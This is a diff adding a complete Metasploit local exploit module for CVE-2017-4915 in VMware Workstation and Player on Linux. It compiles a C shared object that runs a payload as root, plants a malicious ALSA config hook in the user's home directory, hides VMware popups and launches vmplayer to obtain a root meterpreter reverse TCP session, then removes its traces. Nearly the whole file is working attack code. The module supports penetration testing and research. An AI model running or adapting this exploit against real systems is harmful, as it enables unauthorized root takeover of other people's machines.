|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::EXE |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a vulnerability in VMware Workstation Pro and |
| 18 | + Player on Linux which allows users to escalate their privileges by |
| 19 | + using an ALSA configuration file to load and execute a shared object |
| 20 | + as root when launching a virtual machine with an attached sound card. |
| 21 | +
|
| 22 | + This module has been tested successfully on VMware Player version |
| 23 | + 12.5.0 on Debian Linux. |
| 24 | + }, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'CVE', '2017-4915' ], |
| 28 | + [ 'EDB', '42045' ], |
| 29 | + [ 'BID', '98566' ], |
| 30 | + [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], |
| 31 | + [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], |
| 32 | + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'Author' => |
| 36 | + [ |
| 37 | + 'Jann Horn', # Discovery and PoC |
| 38 | + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'May 22 2017', |
| 41 | + 'Platform' => 'linux', |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], |
| 45 | + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] |
| 46 | + ], |
| 47 | + 'DefaultOptions' => |
| 48 | + { |
| 49 | + 'Payload' => 'linux/x64/meterpreter_reverse_tcp', |
| 50 | + 'WfsDelay' => 30, |
| 51 | + 'PrependFork' => true |
| 52 | + }, |
| 53 | + 'DefaultTarget' => 1, |
| 54 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 55 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 56 | + 'Privileged' => true )) |
| 57 | + register_options [ |
| 58 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) |
| 59 | + ] |
| 60 | + end |
| 61 | + |
| 62 | + def has_prereqs? |
| 63 | + vmplayer = cmd_exec 'which vmplayer' |
| 64 | + if vmplayer.include? 'vmplayer' |
| 65 | + vprint_good 'vmplayer is installed' |
| 66 | + else |
| 67 | + print_error 'vmplayer is not installed. Exploitation will fail.' |
| 68 | + return false |
| 69 | + end |
| 70 | + |
| 71 | + gcc = cmd_exec 'which gcc' |
| 72 | + if gcc.include? 'gcc' |
| 73 | + vprint_good 'gcc is installed' |
| 74 | + else |
| 75 | + print_error 'gcc is not installed. Compiling will fail.' |
| 76 | + return false |
| 77 | + end |
| 78 | + |
| 79 | + true |
| 80 | + end |
| 81 | + |
| 82 | + def check |
| 83 | + unless has_prereqs? |
| 84 | + print_error 'Target missing prerequisites' |
| 85 | + return CheckCode::Safe |
| 86 | + end |
| 87 | + |
| 88 | + begin |
| 89 | + config = read_file '/etc/vmware/config' |
| 90 | + rescue |
| 91 | + config = '' |
| 92 | + end |
| 93 | + |
| 94 | + if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ |
| 95 | + @version = Gem::Version.new $1.gsub(/\.$/, '') |
| 96 | + vprint_status "VMware is version #{@version}" |
| 97 | + else |
| 98 | + print_error "Could not determine VMware version." |
| 99 | + return CheckCode::Unknown |
| 100 | + end |
| 101 | + |
| 102 | + if @version < Gem::Version.new('12.5.6') |
| 103 | + print_good 'Target version is vulnerable' |
| 104 | + return CheckCode::Vulnerable |
| 105 | + end |
| 106 | + |
| 107 | + print_error 'Target version is not vulnerable' |
| 108 | + CheckCode::Safe |
| 109 | + end |
| 110 | + |
| 111 | + def exploit |
| 112 | + if check == CheckCode::Safe |
| 113 | + print_error 'Target machine is not vulnerable' |
| 114 | + return |
| 115 | + end |
| 116 | + |
| 117 | + @home_dir = cmd_exec 'echo ${HOME}' |
| 118 | + unless @home_dir |
| 119 | + print_error "Could not find user's home directory" |
| 120 | + return |
| 121 | + end |
| 122 | + @prefs_file = "#{@home_dir}/.vmware/preferences" |
| 123 | + |
| 124 | + fname = ".#{rand_text_alphanumeric rand(10) + 5}" |
| 125 | + @base_dir = "#{datastore['WritableDir']}/#{fname}" |
| 126 | + cmd_exec "mkdir #{@base_dir}" |
| 127 | + |
| 128 | + so = %Q^ |
| 129 | +/* |
| 130 | +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 |
| 131 | +Original shared object code by jhorn |
| 132 | +*/ |
| 133 | +
|
| 134 | +#define _GNU_SOURCE |
| 135 | +#include <stdlib.h> |
| 136 | +#include <string.h> |
| 137 | +#include <stdio.h> |
| 138 | +#include <unistd.h> |
| 139 | +#include <fcntl.h> |
| 140 | +#include <sys/prctl.h> |
| 141 | +#include <err.h> |
| 142 | +
|
| 143 | +extern char *program_invocation_short_name; |
| 144 | +
|
| 145 | +__attribute__((constructor)) void run(void) { |
| 146 | + uid_t ruid, euid, suid; |
| 147 | + if (getresuid(&ruid, &euid, &suid)) |
| 148 | + err(1, "getresuid"); |
| 149 | + if (ruid == 0 || euid == 0 || suid == 0) { |
| 150 | + if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) |
| 151 | + err(1, "setresxid"); |
| 152 | + system("#{@base_dir}/#{fname}.elf"); |
| 153 | + _exit(0); |
| 154 | + } |
| 155 | +} |
| 156 | +^ |
| 157 | + vprint_status "Writing #{@base_dir}/#{fname}.c" |
| 158 | + write_file "#{@base_dir}/#{fname}.c", so |
| 159 | + |
| 160 | + vprint_status "Compiling #{@base_dir}/#{fname}.o" |
| 161 | + output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99" |
| 162 | + unless output == '' |
| 163 | + print_error "Compilation failed: #{output}" |
| 164 | + return |
| 165 | + end |
| 166 | + |
| 167 | + vmx = %Q| |
| 168 | +.encoding = "UTF-8" |
| 169 | +config.version = "8" |
| 170 | +virtualHW.version = "8" |
| 171 | +scsi0.present = "FALSE" |
| 172 | +memsize = "4" |
| 173 | +ide0:0.present = "FALSE" |
| 174 | +sound.present = "TRUE" |
| 175 | +sound.fileName = "-1" |
| 176 | +sound.autodetect = "TRUE" |
| 177 | +vmci0.present = "FALSE" |
| 178 | +hpet0.present = "FALSE" |
| 179 | +displayName = "#{fname}" |
| 180 | +guestOS = "other" |
| 181 | +nvram = "#{fname}.nvram" |
| 182 | +virtualHW.productCompatibility = "hosted" |
| 183 | +gui.exitOnCLIHLT = "FALSE" |
| 184 | +powerType.powerOff = "soft" |
| 185 | +powerType.powerOn = "soft" |
| 186 | +powerType.suspend = "soft" |
| 187 | +powerType.reset = "soft" |
| 188 | +floppy0.present = "FALSE" |
| 189 | +monitor_control.disable_longmode = 1 |
| 190 | +| |
| 191 | + vprint_status "Writing #{@base_dir}/#{fname}.vmx" |
| 192 | + write_file "#{@base_dir}/#{fname}.vmx", vmx |
| 193 | + |
| 194 | + vprint_status "Writing #{@base_dir}/#{fname}.elf" |
| 195 | + write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe |
| 196 | + |
| 197 | + vprint_status "Setting #{@base_dir}/#{fname}.elf executable" |
| 198 | + cmd_exec "chmod +x #{@base_dir}/#{fname}.elf" |
| 199 | + |
| 200 | + asoundrc = %Q| |
| 201 | +hook_func.pulse_load_if_running { |
| 202 | + lib "#{@base_dir}/#{fname}.so" |
| 203 | + func "conf_pulse_hook_load_if_running" |
| 204 | +} |
| 205 | +| |
| 206 | + vprint_status "Writing #{@home_dir}/.asoundrc" |
| 207 | + write_file "#{@home_dir}/.asoundrc", asoundrc |
| 208 | + |
| 209 | + vprint_status 'Disabling VMware hint popups' |
| 210 | + unless directory? "#{@home_dir}/.vmware" |
| 211 | + cmd_exec "mkdir #{@home_dir}/.vmware" |
| 212 | + @remove_prefs_dir = true |
| 213 | + end |
| 214 | + |
| 215 | + if file? @prefs_file |
| 216 | + begin |
| 217 | + prefs = read_file @prefs_file |
| 218 | + rescue |
| 219 | + prefs = '' |
| 220 | + end |
| 221 | + end |
| 222 | + |
| 223 | + if prefs.blank? |
| 224 | + prefs = ".encoding = \"UTF8\"\n" |
| 225 | + prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" |
| 226 | + prefs << "hints.hideAll = \"TRUE\"\n" |
| 227 | + @remove_prefs_file = true |
| 228 | + elsif prefs =~ /hints\.hideAll/i |
| 229 | + prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') |
| 230 | + else |
| 231 | + prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") |
| 232 | + end |
| 233 | + vprint_status "Writing #{@prefs_file}" |
| 234 | + write_file "#{@prefs_file}", prefs |
| 235 | + |
| 236 | + print_status 'Launching VMware Player...' |
| 237 | + cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" |
| 238 | + end |
| 239 | + |
| 240 | + def cleanup |
| 241 | + print_status "Removing #{@base_dir} directory" |
| 242 | + cmd_exec "rm '#{@base_dir}' -rf" |
| 243 | + |
| 244 | + print_status "Removing #{@home_dir}/.asoundrc" |
| 245 | + cmd_exec "rm '#{@home_dir}/.asoundrc'" |
| 246 | + |
| 247 | + if @remove_prefs_dir |
| 248 | + print_status "Removing #{@home_dir}/.vmware directory" |
| 249 | + cmd_exec "rm '#{@home_dir}/.vmware' -rf" |
| 250 | + elsif @remove_prefs_file |
| 251 | + print_status "Removing #{@prefs_file}" |
| 252 | + cmd_exec "rm '#{@prefs_file}' -rf" |
| 253 | + end |
| 254 | + end |
| 255 | + |
| 256 | + def on_new_session(session) |
| 257 | + # if we don't /bin/sh here, our payload times out |
| 258 | + session.shell_command_token '/bin/sh' |
| 259 | + super |
| 260 | + end |
| 261 | +end |
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